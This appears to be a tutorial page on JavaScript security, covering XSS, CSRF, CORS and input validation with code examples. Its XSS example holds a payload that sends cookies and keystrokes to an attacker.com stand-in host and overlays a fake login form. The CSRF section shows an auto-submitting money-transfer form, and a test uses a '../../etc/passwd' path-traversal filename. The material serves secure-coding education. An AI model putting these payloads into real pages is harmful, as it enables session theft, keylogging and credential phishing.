JavaScript Security

Security First: Understanding and preventing common security vulnerabilities in JavaScript

1. Cross-Site Scripting (XSS)

XSS Types:

Stored XSS (Persistent)
Reflected XSS (Non-persistent)
DOM-based XSS
Self-XSS (Social engineering)

Impact:

Cookie theft
Session hijacking
Defacement
Malware distribution
Phishing attacks

Example: Vulnerable Code

JavaScript Editor

// VULNERABLE: Direct innerHTML usage
                    function displayUserCommentVulnerable(comment) {
                    const commentDiv = document.getElementById('comments');
                    
                    // 🔴 VULNERABLE: Directly injecting user input
                    commentDiv.innerHTML += `<div class="comment">${comment}</div>`;
                    }

// Attack vector
                    const maliciousComment = `
                    <script>
                        // Steal cookies
                        fetch('https://attacker.com/steal?cookie=' + document.cookie);
                        
                        // Keylogger
                        document.addEventListener('keydown', (e) => {
                        fetch('https://attacker.com/log?key=' + e.key);
                        });
                        
                        // Fake login form
                        document.body.innerHTML += 
                        '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">' +
                        '<form onsubmit="sendCredentials(this)">' +
                        '<input name="username" placeholder="Username">' +
                        '<input name="password" type="password" placeholder="Password">' +
                        '<button>Login</button></form></div>';
                    </script>
                    <img src="x" onerror="maliciousCode()">
                    <iframe src="javascript:alert('XSS')"></iframe>
                    `;

// This would execute malicious code
                    // displayUserCommentVulnerable(maliciousComment);

console.log('Vulnerable code example - DO NOT USE in production!');

Prevention: Sanitization and Safe Methods

JavaScript Editor

// SAFE: Using textContent or proper sanitization
                    function displayUserCommentSafe(comment) {
                    const commentDiv = document.getElementById('comments');
                    const commentElement = document.createElement('div');
                    
                    // ✅ SAFE: textContent automatically escapes HTML
                    commentElement.textContent = comment;
                    commentElement.className = 'comment';
                    
                    commentDiv.appendChild(commentElement);
                    }

// Using DOMPurify (popular sanitization library)
                    function sanitizeWithDOMPurify(html) {
                    // In real app: import DOMPurify from 'dompurify';
                    // return DOMPurify.sanitize(html);
                    
                    // Simplified sanitization example (DO NOT USE in production - use a library!)
                    const temporaryDiv = document.createElement('div');
                    temporaryDiv.textContent = html;
                    return temporaryDiv.innerHTML;
                    }

// Content Security Policy (CSP) Example
                    // Add this meta tag to HTML:
                    // <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">

// Using Safe Attributes
                    function createSafeLink(url, text) {
                    const link = document.createElement('a');
                    link.textContent = text;
                    
                    // ✅ SAFE: setAttribute for URLs
                    link.setAttribute('href', url);
                    
                    // Prevent tabnabbing
                    link.setAttribute('rel', 'noopener noreferrer');
                    
                    // Validate URL
                    if (!isValidURL(url)) {
                        link.setAttribute('href', '#');
                        link.style.color = 'gray';
                    }
                    
                    return link;
                    }

// Test safe methods
                    const safeComment = '<script>alert("XSS")</script>Hello World';
                    displayUserCommentSafe(safeComment);
                    console.log('Safe comment displayed without executing scripts');

2. Cross-Site Request Forgery (CSRF)

Understanding CSRF Attacks

JavaScript Editor

// CSRF Attack Simulation
                    // Attacker's malicious page (attacker.com)
                    const maliciousPage = `
                    <html>
                        <body>
                        <h1>Win a Free iPhone!</h1>
                        <p>Click here to claim your prize!</p>
                        
                        
                        <form id="csrf-form" action="https://victim-bank.com/transfer" method="POST">
                            <input type="hidden" name="amount" value="1000">
                            <input type="hidden" name="toAccount" value="attacker-123">
                        </form>
                        
                        <script>
                            // Auto-submit form when page loads
                            document.getElementById('csrf-form').submit();
                        </script>
                        </body>
                    </html>
                    `;

// Victim's bank site (victim-bank.com) - VULNERABLE
                    class VulnerableBankAPI {
                    constructor() {
                        this.transfer = function(amount, toAccount) {
                        // 🔴 VULNERABLE: No CSRF protection
                        console.log(`Transferring $${amount} to ${toAccount}`);
                        // In real app: this would actually transfer money
                        };
                    }
                    }

console.log('CSRF Attack Scenario:');
                    console.log('1. User logs into bank.com');
                    console.log('2. User visits attacker.com (still logged into bank)');
                    console.log('3. attacker.com auto-submits form to bank.com');
                    console.log('4. Browser sends cookies, bank processes request');
                    console.log('Result: Money transferred without user consent!');

CSRF Prevention Techniques

JavaScript Editor

// CSRF Protection Implementation
                    class SecureBankAPI {
                    constructor() {
                        // Generate and store CSRF token
                        this.csrfToken = this.generateToken();
                        this.storeTokenInSession(this.csrfToken);
                    }

generateToken() {
                        // Generate cryptographically secure token
                        const array = new Uint8Array(32);
                        crypto.getRandomValues(array);
                        return Array.from(array, byte => byte.toString(16).padStart(2, '0')).join('');
                    }

storeTokenInSession(token) {
                        // Store in session storage or HTTP-only cookie
                        sessionStorage.setItem('csrf-token', token);
                        
                        // Also set as meta tag for JavaScript access
                        const meta = document.createElement('meta');
                        meta.name = 'csrf-token';
                        meta.content = token;
                        document.head.appendChild(meta);
                    }

getCSRFToken() {
                        // Get token from meta tag (set by server)
                        const meta = document.querySelector('meta[name="csrf-token"]');
                        return meta ? meta.content : null;
                    }

// Secure transfer with CSRF protection
                    async transfer(amount, toAccount) {
                        const token = this.getCSRFToken();
                        
                        if (!token || token !== this.csrfToken) {
                        throw new Error('Invalid CSRF token');
                        }

// ✅ SAFE: Include token in request
                        const response = await fetch('/api/transfer', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json',
                            'X-CSRF-Token': token
                        },
                        body: JSON.stringify({ amount, toAccount })
                        });

return response.json();
                    }

// SameSite Cookie Protection
                    setSecureCookies() {
                        // Server should set cookies with:
                        // SameSite=Strict or SameSite=Lax
                        // Secure flag (HTTPS only)
                        // HttpOnly flag (inaccessible to JavaScript)
                        
                        document.cookie = "sessionId=abc123; SameSite=Strict; Secure; HttpOnly";
                    }
                    }

// Double Submit Cookie Pattern
                    class DoubleSubmitCookieAPI {
                    constructor() {
                        // Server sets cookie with random value
                        // Client reads cookie and sends same value in header
                        this.cookieValue = this.getCookie('csrf-cookie');
                    }

getCookie(name) {
                        const value = `; ${document.cookie}`;
                        const parts = value.split(`; ${name}=`);
                        if (parts.length === 2) return parts.pop().split(';').shift();
                    }

async makeRequest(url, data) {
                        const response = await fetch(url, {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json',
                            'X-CSRF-Token': this.cookieValue
                        },
                        body: JSON.stringify(data)
                        });

return response.json();
                    }
                    }

console.log('CSRF Protection Methods:');
                    console.log('1. CSRF Tokens (synchronizer token pattern)');
                    console.log('2. SameSite Cookies (Strict/Lax)');
                    console.log('3. Double Submit Cookie');
                    console.log('4. Custom Headers (X-Requested-With)');
                    console.log('5. Referer/Origin Validation');

3. Cross-Origin Resource Sharing (CORS)

Understanding CORS

JavaScript Editor

// CORS Basics
                    class CORSExample {
                    constructor() {
                        this.allowedOrigins = ['https://trusted-site.com', 'https://api.example.com'];
                    }

// Server-side CORS configuration (Node.js example)
                    setupCORS() {
                        const corsConfig = {
                        origin: (origin, callback) => {
                            // Allow requests with no origin (like mobile apps or curl)
                            if (!origin) return callback(null, true);
                            
                            if (this.allowedOrigins.includes(origin)) {
                            callback(null, true);
                            } else {
                            callback(new Error('Not allowed by CORS'));
                            }
                        },
                        methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
                        allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
                        exposedHeaders: ['X-Total-Count', 'X-Rate-Limit'],
                        credentials: true, // Allow cookies
                        maxAge: 86400 // 24 hours
                        };
                        
                        return corsConfig;
                    }

// Client-side CORS requests
                    async makeCORSRequest() {
                        try {
                        // Simple request (GET, POST with simple headers)
                        const simpleResponse = await fetch('https://api.example.com/data', {
                            method: 'GET',
                            mode: 'cors', // Enable CORS
                            credentials: 'include' // Include cookies
                        });
                        
                        // Preflight request (complex methods/headers)
                        const complexResponse = await fetch('https://api.example.com/data', {
                            method: 'PUT',
                            mode: 'cors',
                            credentials: 'include',
                            headers: {
                            'Content-Type': 'application/json',
                            'X-Custom-Header': 'value'
                            },
                            body: JSON.stringify({ data: 'test' })
                        });
                        
                        return await complexResponse.json();
                        } catch (error) {
                        console.error('CORS Error:', error);
                        throw error;
                        }
                    }

// Handling CORS errors
                    async safeFetch(url, options = {}) {
                        const defaultOptions = {
                        mode: 'cors',
                        credentials: 'same-origin', // More secure than 'include'
                        headers: {
                            'Content-Type': 'application/json'
                        }
                        };
                        
                        const mergedOptions = { ...defaultOptions, ...options };
                        
                        try {
                        const response = await fetch(url, mergedOptions);
                        
                        if (!response.ok) {
                            throw new Error(`HTTP ${response.status}`);
                        }
                        
                        return await response.json();
                        } catch (error) {
                        if (error.name === 'TypeError' && error.message.includes('Failed to fetch')) {
                            console.error('CORS error or network issue');
                            // Fallback or show user-friendly message
                        }
                        throw error;
                        }
                    }
                    }

// JSONP (Legacy workaround for CORS - NOT RECOMMENDED)
                    function jsonpRequest(url, callbackName) {
                    return new Promise((resolve, reject) => {
                        // Create callback function
                        window[callbackName] = function(data) {
                        resolve(data);
                        cleanup();
                        };
                        
                        // Create script tag
                        const script = document.createElement('script');
                        script.src = `${url}?callback=${callbackName}`;
                        
                        script.onerror = () => {
                        reject(new Error('JSONP request failed'));
                        cleanup();
                        };
                        
                        document.head.appendChild(script);
                        
                        function cleanup() {
                        delete window[callbackName];
                        document.head.removeChild(script);
                        }
                    });
                    }

console.log('CORS Best Practices:');
                    console.log('✅ Use specific origins instead of "*"');
                    console.log('✅ Limit allowed methods and headers');
                    console.log('✅ Set appropriate max-age for preflight');
                    console.log('✅ Use credentials carefully');
                    console.log('❌ Avoid wildcard "*" for credentialed requests');
                    console.log('❌ Don't use JSONP for new projects');

4. Secure Coding Practices

Input Validation and Sanitization

JavaScript Editor

// Comprehensive Input Validation
                    class InputValidator {
                    constructor() {
                        this.validationRules = new Map();
                    }

// Add validation rules
                    addRule(field, rule) {
                        this.validationRules.set(field, rule);
                    }

// Validate input
                    validate(field, value) {
                        const rule = this.validationRules.get(field);
                        if (!rule) return { valid: true, message: 'No rule defined' };

return rule(value);
                    }

// Common validation rules
                    static rules = {
                        email: (value) => {
                        const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                        return {
                            valid: regex.test(value),
                            message: 'Please enter a valid email address'
                        };
                        },

password: (value) => {
                        const minLength = 8;
                        const hasUpperCase = /[A-Z]/.test(value);
                        const hasLowerCase = /[a-z]/.test(value);
                        const hasNumbers = /\d/.test(value);
                        const hasSpecial = /[!@#$%^&*(),.?":{}|<>]/.test(value);

return {
                            valid: value.length >= minLength && hasUpperCase && 
                                hasLowerCase && hasNumbers && hasSpecial,
                            message: `Password must be at least ${minLength} characters with uppercase, lowercase, number, and special character`
                        };
                        },

phone: (value) => {
                        const cleaned = value.replace(/[^\d]/g, '');
                        return {
                            valid: cleaned.length >= 10 && cleaned.length <= 15,
                            message: 'Please enter a valid phone number'
                        };
                        },

// XSS prevention
                        sanitizeHTML: (value) => {
                        // In production, use DOMPurify or similar library
                        const div = document.createElement('div');
                        div.textContent = value;
                        return div.innerHTML;
                        },

// SQL Injection prevention (for Node.js)
                        sanitizeSQL: (value) => {
                        // Use parameterized queries instead!
                        return value.replace(/['";\-]/g, '');
                        }
                    };

// Secure file upload validation
                    validateFile(file, options = {}) {
                        const {
                        maxSize = 5 * 1024 * 1024, // 5MB
                        allowedTypes = ['image/jpeg', 'image/png', 'application/pdf'],
                        allowedExtensions = ['.jpg', '.jpeg', '.png', '.pdf']
                        } = options;

const errors = [];

// Check size
                        if (file.size > maxSize) {
                        errors.push(`File size exceeds ${maxSize / 1024 / 1024}MB limit`);
                        }

// Check MIME type
                        if (!allowedTypes.includes(file.type)) {
                        errors.push('File type not allowed');
                        }

// Check extension
                        const extension = '.' + file.name.split('.').pop().toLowerCase();
                        if (!allowedExtensions.includes(extension)) {
                        errors.push('File extension not allowed');
                        }

// Check filename for path traversal
                        if (file.name.includes('..') || file.name.includes('/') || file.name.includes('\')) {
                        errors.push('Invalid filename');
                        }

return {
                        valid: errors.length === 0,
                        errors,
                        safeName: this.generateSafeFilename(file.name)
                        };
                    }

generateSafeFilename(originalName) {
                        const timestamp = Date.now();
                        const random = Math.random().toString(36).substring(2, 15);
                        const extension = originalName.split('.').pop();
                        return `file_${timestamp}_${random}.${extension}`;
                    }
                    }

// Usage
                    const validator = new InputValidator();

// Test validation
                    console.log('Email validation:', InputValidator.rules.email('test@example.com'));
                    console.log('Password validation:', InputValidator.rules.password('WeakPass'));
                    console.log('Password validation:', InputValidator.rules.password('StrongPass123!'));

// File validation example
                    const testFile = {
                    name: '../../etc/passwd',
                    size: 1024,
                    type: 'text/plain'
                    };

console.log('File validation:', validator.validateFile(testFile));

Secure Storage and Transmission

JavaScript Editor

// Secure Data Handling
                    class SecurityManager {
                    constructor() {
                        // Never store secrets in client-side code!
                        // Use environment variables or server-side storage
                    }

// Secure localStorage wrapper
                    secureStorage = {
                        set: function(key, value, ttl = 3600000) {
                        const item = {
                            value: value,
                            expires: Date.now() + ttl,
                            // Add HMAC for integrity checking
                            signature: this.sign(value, key)
                        };
                        
                        localStorage.setItem(key, JSON.stringify(item));
                        },

get: function(key) {
                        const itemStr = localStorage.getItem(key);
                        if (!itemStr) return null;

try {
                            const item = JSON.parse(itemStr);
                            
                            // Check expiration
                            if (Date.now() > item.expires) {
                            localStorage.removeItem(key);
                            return null;
                            }
                            
                            // Verify signature
                            if (!this.verify(item.value, item.signature, key)) {
                            console.warn('Data tampering detected!');
                            localStorage.removeItem(key);
                            return null;
                            }
                            
                            return item.value;
                        } catch (error) {
                            localStorage.removeItem(key);
                            return null;
                        }
                        },

remove: function(key) {
                        localStorage.removeItem(key);
                        },

clear: function() {
                        localStorage.clear();
                        },

sign: function(value, key) {
                        // In production, use proper HMAC with server-side key
                        return btoa(JSON.stringify(value));
                        },

verify: function(value, signature, key) {
                        return this.sign(value, key) === signature;
                        }
                    };

// Secure communication
                    async encryptData(data, publicKey) {
                        // For production: Use Web Crypto API
                        const encoder = new TextEncoder();
                        const encoded = encoder.encode(JSON.stringify(data));
                        
                        // Generate IV
                        const iv = crypto.getRandomValues(new Uint8Array(12));
                        
                        // Generate key
                        const key = await crypto.subtle.generateKey(
                        { name: 'AES-GCM', length: 256 },
                        true,
                        ['encrypt', 'decrypt']
                        );
                        
                        // Encrypt
                        const encrypted = await crypto.subtle.encrypt(
                        { name: 'AES-GCM', iv },
                        key,
                        encoded
                        );
                        
                        return {
                        iv: Array.from(iv),
                        encrypted: Array.from(new Uint8Array(encrypted)),
                        key // In real app, derive key properly
                        };
                    }

// HTTPS enforcement
                    enforceHTTPS() {
                        if (window.location.protocol !== 'https:' && 
                            window.location.hostname !== 'localhost') {
                        window.location.href = 'https://' + window.location.host + window.location.pathname;
                        }
                    }

// Security headers checker
                    checkSecurityHeaders() {
                        const headers = [
                        'Content-Security-Policy',
                        'X-Frame-Options',
                        'X-Content-Type-Options',
                        'Strict-Transport-Security',
                        'X-XSS-Protection',
                        'Referrer-Policy'
                        ];

console.log('Recommended Security Headers:');
                        headers.forEach(header => {
                        console.log(`- ${header}`);
                        });
                    }
                    }

// Subresource Integrity (SRI)
                    function loadScriptWithSRI(url, integrity) {
                    const script = document.createElement('script');
                    script.src = url;
                    script.integrity = integrity;
                    script.crossOrigin = 'anonymous';
                    script.onerror = () => console.error('SRI check failed for:', url);
                    document.head.appendChild(script);
                    }

// Example SRI usage (from CDN)
                    // loadScriptWithSRI(
                    //   'https://cdn.example.com/library.js',
                    //   'sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC'
                    // );

console.log('Security Best Practices:');
                    console.log('✅ Always use HTTPS');
                    console.log('✅ Implement CSP headers');
                    console.log('✅ Use Subresource Integrity');
                    console.log('✅ Validate ALL user input');
                    console.log('✅ Sanitize output');
                    console.log('✅ Keep dependencies updated');
                    console.log('✅ Use security linters (ESLint security rules)');

5. Security Testing Tools

Tool	Purpose	Type
ESLint Security Plugin	Static code analysis for security issues	Development
OWASP ZAP	Web application security scanner	Testing
Burp Suite	Web vulnerability scanner	Professional
npm audit	Dependency vulnerability scanner	Development
Chrome DevTools Security Panel	Browser-based security analysis	Development
Content-Security-Policy	Browser security feature	Production

Security Audit Example

JavaScript Editor

// Security Audit Helper
                    class SecurityAuditor {
                    constructor() {
                        this.vulnerabilities = [];
                    }

checkXSSVulnerabilities() {
                        console.log('=== XSS Vulnerability Check ===');
                        
                        // Check for innerHTML usage
                        const scripts = document.querySelectorAll('script');
                        scripts.forEach(script => {
                        if (script.innerHTML.includes('innerHTML') && 
                            !script.innerHTML.includes('textContent')) {
                            this.vulnerabilities.push({
                            type: 'XSS',
                            location: 'innerHTML usage',
                            severity: 'HIGH',
                            recommendation: 'Use textContent or DOMPurify'
                            });
                        }
                        });
                        
                        // Check for eval()
                        if (document.body.innerHTML.includes('eval(')) {
                        this.vulnerabilities.push({
                            type: 'XSS',
                            location: 'eval() usage',
                            severity: 'CRITICAL',
                            recommendation: 'Never use eval() with user input'
                        });
                        }
                    }

checkCSRFVulnerabilities() {
                        console.log('=== CSRF Vulnerability Check ===');
                        
                        // Check forms for CSRF tokens
                        const forms = document.querySelectorAll('form');
                        forms.forEach(form => {
                        const hasToken = form.querySelector('input[name="_csrf"], input[name="csrfToken"]');
                        if (!hasToken && form.method.toUpperCase() === 'POST') {
                            this.vulnerabilities.push({
                            type: 'CSRF',
                            location: `Form: ${form.id || 'anonymous'}`,
                            severity: 'HIGH',
                            recommendation: 'Add CSRF token field'
                            });
                        }
                        });
                    }

checkCORSConfiguration() {
                        console.log('=== CORS Configuration Check ===');
                        
                        // Check fetch calls
                        const scripts = document.querySelectorAll('script');
                        scripts.forEach(script => {
                        if (script.innerHTML.includes('fetch(')) {
                            const fetchCalls = script.innerHTML.match(/fetch$[^)]+$/g);
                            fetchCalls?.forEach(call => {
                            if (!call.includes('mode:') && !call.includes('mode =')) {
                                this.vulnerabilities.push({
                                type: 'CORS',
                                location: 'Fetch call without mode',
                                severity: 'MEDIUM',
                                recommendation: 'Explicitly set CORS mode'
                                });
                            }
                            });
                        }
                        });
                    }

checkContentSecurityPolicy() {
                        console.log('=== Content Security Policy Check ===');
                        
                        const metaTags = document.querySelectorAll('meta[http-equiv="Content-Security-Policy"]');
                        if (metaTags.length === 0) {
                        this.vulnerabilities.push({
                            type: 'CSP',
                            location: 'Missing CSP header',
                            severity: 'HIGH',
                            recommendation: 'Implement Content Security Policy'
                        });
                        }
                    }

runAudit() {
                        console.log('🔍 Running Security Audit...\n');
                        
                        this.checkXSSVulnerabilities();
                        this.checkCSRFVulnerabilities();
                        this.checkCORSConfiguration();
                        this.checkContentSecurityPolicy();
                        
                        console.log('\n=== Audit Results ===');
                        if (this.vulnerabilities.length === 0) {
                        console.log('✅ No security vulnerabilities found');
                        } else {
                        console.log(`⚠️ Found ${this.vulnerabilities.length} potential vulnerabilities:\n`);
                        
                        this.vulnerabilities.forEach(vuln => {
                            console.log(`[${vuln.severity}] ${vuln.type}: ${vuln.location}`);
                            console.log(`   Recommendation: ${vuln.recommendation}\n`);
                        });
                        }
                        
                        return this.vulnerabilities;
                    }
                    }

// Run security audit
                    const auditor = new SecurityAuditor();
                    auditor.runAudit();

console.log('\n=== Security Resources ===');
                    console.log('• OWASP Top 10: https://owasp.org/www-project-top-ten/');
                    console.log('• MDN Web Security: https://developer.mozilla.org/en-US/docs/Web/Security');
                    console.log('• Web Security Basics: https://web.dev/security/');

Security Checklist:

✅ Validate and sanitize ALL user input
✅ Implement proper CSRF protection
✅ Configure CORS carefully
✅ Use HTTPS everywhere
✅ Implement Content Security Policy
✅ Keep dependencies updated
✅ Use security headers
✅ Regular security audits
✅ Educate team on security best practices

← Memory Leaks ES Modules (Advanced) →

Frontend

JavaScript & Frameworks

Backend

Artificial Intelligence

Database

CSS Frameworks

Data Analytics

Digital Marketing

Frontend

Backend

Artificial Intelligence

DevOps

Database

Cyber Security

JavaScript Tutorial

JavaScript Security

1. Cross-Site Scripting (XSS)

XSS Types:

Impact:

Example: Vulnerable Code

Prevention: Sanitization and Safe Methods

2. Cross-Site Request Forgery (CSRF)

Understanding CSRF Attacks

CSRF Prevention Techniques

3. Cross-Origin Resource Sharing (CORS)

Understanding CORS

4. Secure Coding Practices

Input Validation and Sanitization

Secure Storage and Transmission

5. Security Testing Tools

Security Audit Example

Security Checklist:

Follow Us

Our Tools

Our Company

Special Tools